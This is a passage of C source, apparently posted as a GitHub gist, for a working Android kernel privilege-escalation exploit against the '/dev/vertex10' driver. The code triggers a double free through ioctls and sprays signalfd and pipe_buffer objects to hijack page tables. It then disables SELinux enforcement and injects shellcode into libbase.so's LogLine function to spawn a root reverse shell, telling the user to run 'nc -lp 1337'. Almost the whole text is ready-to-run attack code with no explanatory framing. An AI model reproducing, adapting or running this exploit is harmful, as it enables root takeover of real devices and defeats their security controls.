if ((map[i][j] = mmap((void *) addr + (i * 0x200000) + (j * 0x1000), 0x1000, PROT_READ|PROT_WRITE, MAP_ANONYMOUS|MAP_SHARED|MAP_FIXED, -1, 0)) == MAP_FAILED) { | |
perror("[-] mmap()"); | |
exit(0); | |
} | |
} | |
} | |
puts("[+] set num files"); | |
/* set num files */ | |
struct rlimit limit; | |
limit.rlim_cur = 4096 * 8; | |
limit.rlim_max = 4096 * 8; | |
if (setrlimit(RLIMIT_NOFILE, &limit) != 0) { | |
perror("[-] setrlimit()"); | |
exit(0); | |
} | |
puts("[+] preparing pipe buffer"); | |
/* pipe buffer to locating uaf */ | |
for (int i = 0; i < MAX_PIPES; i++) { | |
// pin_cpu(i % ncpu); | |
if (pipe(pipefd[i]) < 0) { | |
printf("[-] pipe: %d\n", errno); | |
exit(0); | |
} | |
} | |
puts("[+] alloc dmabuf"); | |
/* dmabuff manager */ | |
int dma_fd = open("/dev/dma_heap/system", O_RDONLY); | |
if (dma_fd < 0) { | |
puts("[-] couldn't open /dev/dma_heap/system"); | |
exit(0); | |
} | |
memset(&data, 0x0, sizeof(struct dma_heap_allocation_data)); | |
data.len = 0x1000; | |
data.fd_flags = O_RDWR | O_CLOEXEC; | |
int ret = ioctl(dma_fd, DMA_HEAP_IOCTL_ALLOC, &data); | |
if (ret < 0) { | |
printf("[-] couldn't ioctl dma heap alloc: %d", errno); | |
exit(0); | |
} | |
puts("[+] mmap buffer to ncp object"); | |
/* buffer ncp */ | |
char *dma_buffer = mmap((void *) 0x10000, 0x1000, PROT_READ|PROT_WRITE, MAP_SHARED|MAP_FIXED, data.fd, 0); | |
if (dma_buffer == MAP_FAILED) { | |
printf("[-] couldn't mmap: %d", errno); | |
exit(0); | |
} | |
puts("[+] open /dev/vertex10"); | |
/* driver vulnerable */ | |
fd = open("/dev/vertex10", O_RDONLY); | |
if (fd < 0) { | |
puts("[-] couldn't open /dev/vertex10"); | |
exit(0); | |
} | |
/* prepare graph */ | |
prepare_graph(&user_data, &graph, &data); | |
/* init ncp */ | |
ncp = (struct ncp_header *) dma_buffer; | |
av = (struct address_vector *) (ncp + 2); | |
mv = (struct memory_vector *) (ncp + 3); | |
init_ncp_header(ncp); | |
/* do graph ioctl */ | |
do_graph_ioctl(fd, ncp, av, mv, &graph, MEMORY_TYPE_OT_FMAP, 2); | |
/* do format ioctl */ | |
do_format_ioctl(fd, 2, VS4L_DIRECTION_IN, VS4L_DF_IMAGE_NPU); | |
/* do graph ioctl */ | |
do_graph_ioctl(fd, ncp, av, mv, &graph, MEMORY_TYPE_OT_FMAP, N); | |
puts("[+] init signalfd spray to better cross cache"); | |
/* init signalfd to better cross cache */ | |
for (int i = 0; i < NUM_FILES; i++) { | |
// pin_cpu(i % ncpu); | |
mask.sig[0] = ~0; // | 0x40100 | |
fd_init[i] = signalfd(-1, &mask, 0); | |
if (fd_init[i] < 0) { | |
printf("[-] signalfd: %d\n", errno); | |
exit(0); | |
} | |
} | |
uint32_t i = 0, fd_idx = 0, offset = 0; | |
puts("[+] start signalfd cross cache"); | |
/* start cross cache */ | |
for (i = 0; i < (CPU_PARTIAL * OBJS_PER_SLAB); i++) { | |
// pin_cpu(i % ncpu); | |
mask.sig[0] = ~0; // | 0x40100 | |
fd_cross[i] = signalfd(-1, &mask, 0); | |
if (fd_cross[i] < 0) { | |
printf("[-] signalfd: %d\n", errno); | |
exit(0); | |
} | |
} | |
offset = i; | |
/* do format ioctl */ | |
do_format_ioctl(fd, N, VS4L_DIRECTION_IN, 1337); | |
puts("[+] getting vulnerable object (from signalfd)"); | |
/* getting object vulnerable */ | |
for (i = 0; i < MAX_SIGNAL; i++) { | |
// pin_cpu(i % ncpu); | |
mask.sig[0] = ~0; // | 0x40100 | |
fd_cross[offset + i] = signalfd(-1, &mask, 0); | |
if (fd_cross[offset + i] < 0) { | |
printf("[-] signalfd: %d\n", errno); | |
exit(0); | |
} | |
} | |
/* do graph ioctl */ | |
do_graph_ioctl(fd, ncp, av, mv, &graph, MEMORY_TYPE_OT_FMAP, N); | |
/* do format ioctl */ | |
do_format_ioctl(fd, 3, VS4L_DIRECTION_OT, VS4L_DF_IMAGE_NPU); | |
puts("[+] ioctl streamon"); | |
ret = ioctl(fd, VS4L_VERTEXIOC_STREAM_ON); | |
if (ret < 0) { | |
printf("[-] couldn't ioctl VS4L_VERTEXIOC_STREAM_ON: %d\n", errno); | |
exit(0); | |
} | |
puts("[+] ioctl streamoff (double free)"); | |
/* double free vulnerable object */ | |
ret = ioctl(fd, VS4L_VERTEXIOC_STREAM_OFF); | |
if (ret < 0) { | |
printf("[-] couldn't ioctl VS4L_VERTEXIOC_STREAM_OFF: %d\n", errno); | |
exit(0); | |
} | |
puts("[+] spray pipe_buffer"); | |
/* spray pipe_buffer */ | |
char buf[(2 << 12)]; | |
for (int64_t i = 0; i < MAX_PIPES; i++) { | |
// pin_cpu(i % ncpu); | |
// The arg has to be pow of 2 | |
if (fcntl(pipefd[i][1], F_SETPIPE_SZ, 4096 * 2) < 0) { | |
printf("[-] fcntl: %d\n", errno); | |
exit(0); | |
} | |
*(int64_t *) buf = i; | |
if (write(pipefd[i][1], buf, (1 << 12) + 8) < 0) { | |
printf("[-] write: %d\n", errno); | |
exit(0); | |
} | |
} | |
int pos = -1; | |
uint64_t leak; | |
char file[64] = {0}; | |
char buffer[256] = {0}; | |
puts("[+] locating vulnerable signalfd object (uaf)"); | |
/* locating vulnerable object (uaf) */ | |
for (uint32_t j = 0; j < MAX_SIGNAL; j++) { | |
snprintf(file, 26, "/proc/self/fdinfo/%d", fd_cross[offset + j]); | |
fd_read = open(file, O_RDONLY); | |
if (fd_read < 0) { | |
printf("[-] open: %d\n", errno); | |
exit(0); | |
} | |
int n = read(fd_read, buffer, 72); | |
if (n < 0) { | |
printf("[-] read: %d\n", errno); | |
exit(0); | |
} | |
if (strncmp(&buffer[47], "fffffffffffbfeff", 16)) { | |
leak = ~strtoul(&buffer[47], (char **) NULL, 16); | |
printf("[+] pipe_buffer->page leak: 0x%016lx\n", leak); | |
printf("[+] pipe_buffer->page to virt: 0x%016lx\n", page_to_virt(leak, true)); | |
printf("[+] pipe_buffer->page to virt to page: 0x%016lx\n", virt_to_page(page_to_virt(leak, true))); | |
fd_idx = offset + j; | |
break; | |
} | |
bzero(file, 26); | |
bzero(buffer, 72); | |
} | |
if (fd_idx) { | |
printf("[+] fd_signal found at %dth\n", fd_cross[fd_idx]); | |
} else { | |
puts("[-] Exploit failed :("); | |
exit(0); | |
} | |
mask.sig[0] = ~(leak + 0x80); // | 0x40100 | |
signalfd(fd_cross[fd_idx], &mask, 0); | |
puts("[+] locating vulnerable object pipe_buffer (for cross cache)"); | |
/* locating vulnerable object (cross cache) */ | |
int c; | |
for (int j = 0; j < MAX_PIPES; j++) { | |
int n = read(pipefd[j][0], &c, 4); | |
if (n < 0 || j != c) { | |
printf("[+] pipe fd found at %dth\n", j); | |
pos = j; | |
break; | |
} | |
} | |
if (pos == -1) { | |
puts("[-] Exploit failed :("); | |
exit(0); | |
} | |
puts("[+] free vulnerable object (from pipe_buffer)"); | |
close(pipefd[pos][0]); // free vulnerable object | |
close(pipefd[pos][1]); | |
puts("[+] finishing cross cache"); | |
/* emptying the page of the fd vulnerable */ | |
for (i = 0; i < (CPU_PARTIAL * OBJS_PER_SLAB); i++) { | |
close(fd_cross[i]); | |
} | |
/* discard slab */ | |
for (i = 0; i < MAX_SIGNAL; i++) { | |
if ((offset + i) != fd_idx) { | |
close(fd_cross[offset + i]); | |
} | |
} | |
puts("[+] spray page table"); | |
/* spray PTE */ | |
for (uint32_t i = 0; i < NUM_TABLE; i++) { | |
for (uint32_t j = 0; j < NUM_PTE; j++) { | |
*(uint32_t *) map[i][j] = (i * 0x200) + j; | |
} | |
} | |
lseek(fd_read, 0, SEEK_SET); | |
bzero(buffer, 72); | |
int n = read(fd_read, buffer, 72); | |
if (n < 0) { | |
printf("[-] read: %d\n", errno); | |
exit(0); | |
} | |
leak = ~strtoul(&buffer[47], (char **) NULL, 16); | |
uint64_t flag = (leak & ((uint64_t) 0xfff << (13 * 4))); | |
if ((flag >> (13 * 4)) != 0xe) { | |
puts("[-] Exploit failed :("); | |
exit(0); | |
} | |
printf("[+] phys leak 0x%016lx\n", leak); | |
uint64_t pte_signalfd_restaure = leak; | |
puts("[+] mmap buffer to manage tlb"); | |
/* buffer to manage tlb */ | |
full_tlb = mmap((void *) NULL, TLB * 0x1000, PROT_READ|PROT_WRITE, MAP_POPULATE|MAP_SHARED|MAP_ANONYMOUS, -1, 0); | |
if (full_tlb == MAP_FAILED) { | |
printf("[-] couldn't mmap: %d", errno); | |
exit(0); | |
} | |
puts("[+] looking for page table and phys pte"); | |
int32_t found = 0; | |
leak = (leak + 0x1000) | 0x40100; | |
mask.sig[0] = ~leak; // | 0x40100 | |
signalfd(fd_cross[fd_idx], &mask, 0); | |
/* replace tlb cache */ | |
replace_tlb(); | |
/* locate buffer */ | |
char *evil = NULL; | |
for (int i = 0; i < NUM_TABLE; i++) { | |
for (int j = 0; j < NUM_PTE; j++) { | |
if (*(uint64_t *) map[i][j] != ((i * 0x200) + j)) { | |
found = 1; | |
evil = map[i][j]; | |
printf("[+] found distinct page at virtual 0x%lx\n", (uint64_t) evil); | |
break; | |
} | |
} | |
if (found) break; | |
} | |
if (!found) { | |
puts("[-] Exploit failed :("); | |
exit(0); | |
} | |
/* replace tlb cache */ | |
replace_tlb(); | |
uint64_t end; | |
if ((leak & 0xfffffff43) >= 0x880000f43) { | |
end = 0x980000f43; | |
} else { | |
end = 0x100000f43; | |
} | |
puts("[!] be patient now, looking for page table"); | |
uint64_t *dump = (uint64_t *) evil; | |
table_1: | |
/* locate page table */ | |
found = 0; | |
uint64_t pte = 0; | |
while (!found && (((leak | 0x40100) & 0xfffffff43) < end)) { | |
/* replace tlb cache */ | |
replace_tlb(); | |
if ((dump[0] && ((dump[0] & ((uint64_t) 0xffff << (12 * 4))) == ((uint64_t) 0xe8 << (12 * 4))) | |
&& ((dump[0] & 0xfff) == 0xf43)) | |
&& (dump[1] && ((dump[1] & ((uint64_t) 0xffff << (12 * 4))) == ((uint64_t) 0xe8 << (12 * 4))) | |
&& ((dump[1] & 0xfff) == 0xf43))) { | |
if ((dump[1] - dump[0]) == 0x1000) { | |
pte = dump[0]; | |
printf("[+] found page table at phys 0x%016lx and phys valid buffer pte 0x%016lx\n", leak, (uint64_t) pte); | |
found = 1; | |
break; | |
} | |
} | |
/* replace tlb cache */ | |
replace_tlb(); | |
leak = (leak + 0x1000) | 0x40100; | |
mask.sig[0] = ~leak; // | 0x40100 | |
signalfd(fd_cross[fd_idx], &mask, 0); | |
} | |
if (!found) { | |
puts("[-] Exploit failed :("); | |
exit(0); | |
} | |
/* replace tlb cache */ | |
replace_tlb(); | |
puts("[+] looking for victim to migrate"); | |
*(uint64_t *) evil = pte + 0x1000; | |
/* replace tlb cache */ | |
replace_tlb(); | |
/* locate buffer to migrate and | |
* manage page table to phys r/w | |
*/ | |
found = 0; | |
for (uint32_t i = 0; i < TLB; i++) { | |
if (full_tlb[i * 512] != i && full_tlb[(i * 512) + 1] != i) { | |
printf("[+] found victim to migrate at virtual buffer full_tlb 0x%lx\n", (uint64_t) (full_tlb + i * 512)); | |
victim = (char *) (full_tlb + i * 512); | |
found = 1; | |
break; | |
} | |
} | |
if (!found) { | |
*(uint64_t *) evil = pte - 0x1000; | |
puts("[*] fail * looking for another page table, continue being patient"); | |
goto table_1; | |
} | |
/* replace tlb cache */ | |
replace_tlb(); | |
pmd[0] = (uint64_t) evil & ~0x1fffff; | |
pmd[1] = (uint64_t) victim & ~0x1fffff; | |
puts("[+] page table self pointer"); | |
*(uint64_t *) evil = leak; | |
puts("[+] munmap evil"); | |
munmap(evil, 4096); | |
/* replace tlb cache */ | |
replace_tlb(); | |
puts("[+] looking for victim page"); | |
offset_pgt = 8; | |
*(uint64_t *) (victim + offset_pgt) = pte; | |
/* replace tlb cache */ | |
replace_tlb(); | |
/* locate buffer to manage phys r/w */ | |
found = 0; | |
page = NULL; | |
for (uint32_t i = 0; i < TLB; i++) { | |
if ((char *) (full_tlb + i * 512) == victim) continue; | |
if (full_tlb[i * 512] != i && full_tlb[(i * 512) + 1] != i) { | |
printf("[+] found victim page at virtual buffer full_tlb 0x%lx\n", (uint64_t) (full_tlb + i * 512)); | |
page = (char *) (full_tlb + i * 512); | |
found = 1; | |
break; | |
} | |
} | |
if (!found) { | |
puts("[-] Exploit failed :("); | |
exit(0); | |
} | |
/* replace tlb cache */ | |
replace_tlb(); | |
pmd[2] = (uint64_t) page & ~0x1fffff; | |
puts("[+] looking for kernel phys"); | |
/* search kernel phys base */ | |
found = 0; | |
uint32_t phys_base; | |
for (uint64_t j = 0; j < 0x1000; j++) { | |
/* replace tlb cache */ | |
replace_tlb(); | |
*(uint64_t *) (victim + offset_pgt) = (j * (1 << (3 * 4))) | MEMSTART | 0xe8000000000f43; | |
/* replace tlb cache */ | |
replace_tlb(); | |
uint32_t magic = *(uint32_t *) (page + 0x38); | |
if (magic == LINUX_ARM64_IMAGE_MAGIC) { | |
phys_base = (j * (1 << (3 * 4))) | MEMSTART; | |
printf("[+] kernel phys base at 0x%x\n", phys_base); | |
found = 1; | |
break; | |
} | |
} | |
if (!found) { | |
puts("[-] Exploit failed :("); | |
exit(0); | |
} | |
/* replace tlb cache */ | |
replace_tlb(); | |
uint32_t phys_data = phys_base + KERNEL_DATA; | |
uint32_t phys_off = phys_base & 0xffffff; | |
uint64_t virt_kernel_base = VIRTUAL_KERNEL_START + phys_off; | |
uint64_t init_task = virt_kernel_base + KERNEL_DATA + INIT_TASK + OFF_INIT_TASK; | |
uint64_t selinux_state = virt_kernel_base + KERNEL_DATA + SELINUX_STATE + OFF_SELINUX_STATE; | |
printf("[+] kernel phys offset 0x%x\n", phys_off); | |
printf("[+] kernel phys data at 0x%x\n", phys_data); | |
printf("[+] kernel virtual selinux_state at 0x%016lx\n", selinux_state); | |
printf("[+] kernel virtual init_task at 0x%016lx\n", init_task); | |
printf("[+] kernel virtual base at 0x%016lx\n", virt_kernel_base); | |
puts("[+] go with selinux bypass"); | |
/* disable selinux */ | |
write16(selinux_state, 0); | |
puts("[+] selinux enforcing patched"); | |
/* open libbase.so */ | |
int fd_libbase = open("/system/lib64/libbase.so", O_RDONLY); | |
/* for getting info */ | |
struct stat st; | |
fstat(fd_libbase, &st); | |
/* mmap libbase.so for injecting code */ | |
char *libbase = mmap((void *) NULL, st.st_size, PROT_READ, MAP_SHARED|MAP_POPULATE, fd_libbase, 0); | |
if (libbase == MAP_FAILED) { | |
printf("[-] couldn't mmap: %d", errno); | |
exit(0); | |
} | |
printf("[+] libbase.so mapped at 0x%lx\n", (uint64_t) libbase); | |
pmd[3] = (uint64_t) libbase & ~0x1fffff; | |
/* search logline function */ | |
char *off = memmem(libbase, st.st_size, logline, 576); | |
if (!off) { | |
puts("[-] Exploit failed :("); | |
exit(0); | |
} | |
printf("[+] LogLine found at 0x%lx\n", (uint64_t) off); | |
/* replace tlb cache */ | |
replace_tlb(); | |
puts("[+] looking for process"); | |
char comm[16]; | |
uint64_t task = 0; | |
uint64_t ptask = init_task; | |
/* search current task */ | |
while (task != init_task) { | |
/* replace tlb cache */ | |
replace_tlb(); | |
task = read64(ptask + OFFSET_TASKS) - OFFSET_TASKS; | |
*(uint64_t *)(comm) = read64(task + OFFSET_COMM); | |
*(uint64_t *)(comm + 8) = read64(task + OFFSET_COMM + 8); | |
printf("%016lx -> %s\n", task, comm); | |
if (!strncmp(comm, "exp1337", 7)) { | |
break; | |
} | |
/* | |
int pid = read64(task + OFFSET_PID); | |
if (pid == getpid()) | |
break; | |
*/ | |
ptask = task; | |
} | |
puts("[+] found current process"); | |
/* search file table to stabilize */ | |
uint64_t files = read64(task + OFFSET_FILES); | |
uint64_t fdt = read64(files + OFFSET_FDT); | |
uint64_t fd_array = read64(fdt + OFFSET_FD); | |
printf("[+] current->files->fdt->fd 0x%016lx\n", fd_array); | |
/* mmu walk */ | |
uint64_t mm = read64(task + OFFSET_MM); | |
uint64_t pgd = read64(mm + OFFSET_PGD); | |
printf("[+] current->mm 0x%016lx\n", mm); | |
printf("[+] current->mm->pgd 0x%lx\n", pgd); | |
uint32_t offset_logline = (uint64_t) off & 0xfff; | |
uint64_t offset_pte = get_directory((uint64_t) off >> (12 + 9 * 0)); | |
uint64_t offset_pmd = get_directory((uint64_t) off >> (12 + 9 * 1)); | |
uint64_t offset_pud = get_directory((uint64_t) off >> (12 + 9 * 2)); | |
printf("[+] offset_logline 0x%x\n", offset_logline); | |
printf("[+] offset_pud 0x%lx\n", offset_pud); | |
printf("[+] offset_pmd 0x%lx\n", offset_pmd); | |
printf("[+] offset_pte 0x%lx\n", offset_pte); | |
uint64_t pud = read64(pgd + offset_pud * 8); | |
printf("[+] pud 0x%lx\n", pud); | |
uint64_t pmd = read64(phys_to_virt(((pud >> 12) << 12) & 0xffffffffff, true) + offset_pmd * 8); | |
printf("[+] pmd 0x%lx\n", pmd); | |
uint64_t pte_logline = read64(phys_to_virt(((pmd >> 12) << 12) & 0xffffffffff, true) + offset_pte * 8); | |
printf("[+] pte_logline 0x%lx\n", pte_logline); | |
/* replace tlb cache */ | |
replace_tlb(); | |
/* set the pte with permissions to inject code */ | |
*(uint64_t *) (victim + offset_pgt) = (((pte_logline >> 12) << 12) & 0xffffffffff) | 0xe8000000000f43; | |
/* replace tlb cache */ | |
replace_tlb(); | |
/* inject code */ | |
memcpy(page + offset_logline, shellcode, 287); | |
puts("[+] shellcode injected into LogLine"); | |
puts("[+] execute nc -lp 1337 and press key here"); | |
getc(stdin); | |
puts("[+] trigger lpe"); | |
int pid = fork(); | |
if (!pid) { | |
sleep(1); | |
exit(139); | |
} | |
kill(pid, SIGSEGV); | |
puts("[+] look at root reverse shell :)"); | |
sleep(3); | |
/* replace tlb cache */ | |
replace_tlb(); | |
/* set the pte with permissions to restaure code */ | |
*(uint64_t *) (victim + offset_pgt) = (((pte_logline >> 12) << 12) & 0xffffffffff) | 0xe8000000000f43; | |
/* replace tlb cache */ | |
replace_tlb(); | |
/* restaure code */ | |
memcpy(page + offset_logline, logline, 287); | |
puts("[+] LogLine function restaured"); | |
puts("[+] clean up"); | |
/* clean up signalfd */ | |
write64(fd_array + fd_cross[fd_idx] * 8, 0); | |
/* restaure ptes */ | |
*(uint64_t *) victim = 0UL; | |
*(uint64_t *) (victim + offset_pgt) = 0UL; | |
/* clean up */ | |
munmap(full_tlb, TLB * 0x1000); | |
/* clean up */ | |
for (uint32_t i = 0; i < NUM_TABLE; i++) { | |
for (uint32_t j = 0; j < NUM_PTE; j++) { | |
if (map[i][j] == evil) continue; | |
munmap(map[i][j], 0x1000); | |
} | |
} | |
puts("[+] finish"); | |
exit(0); | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment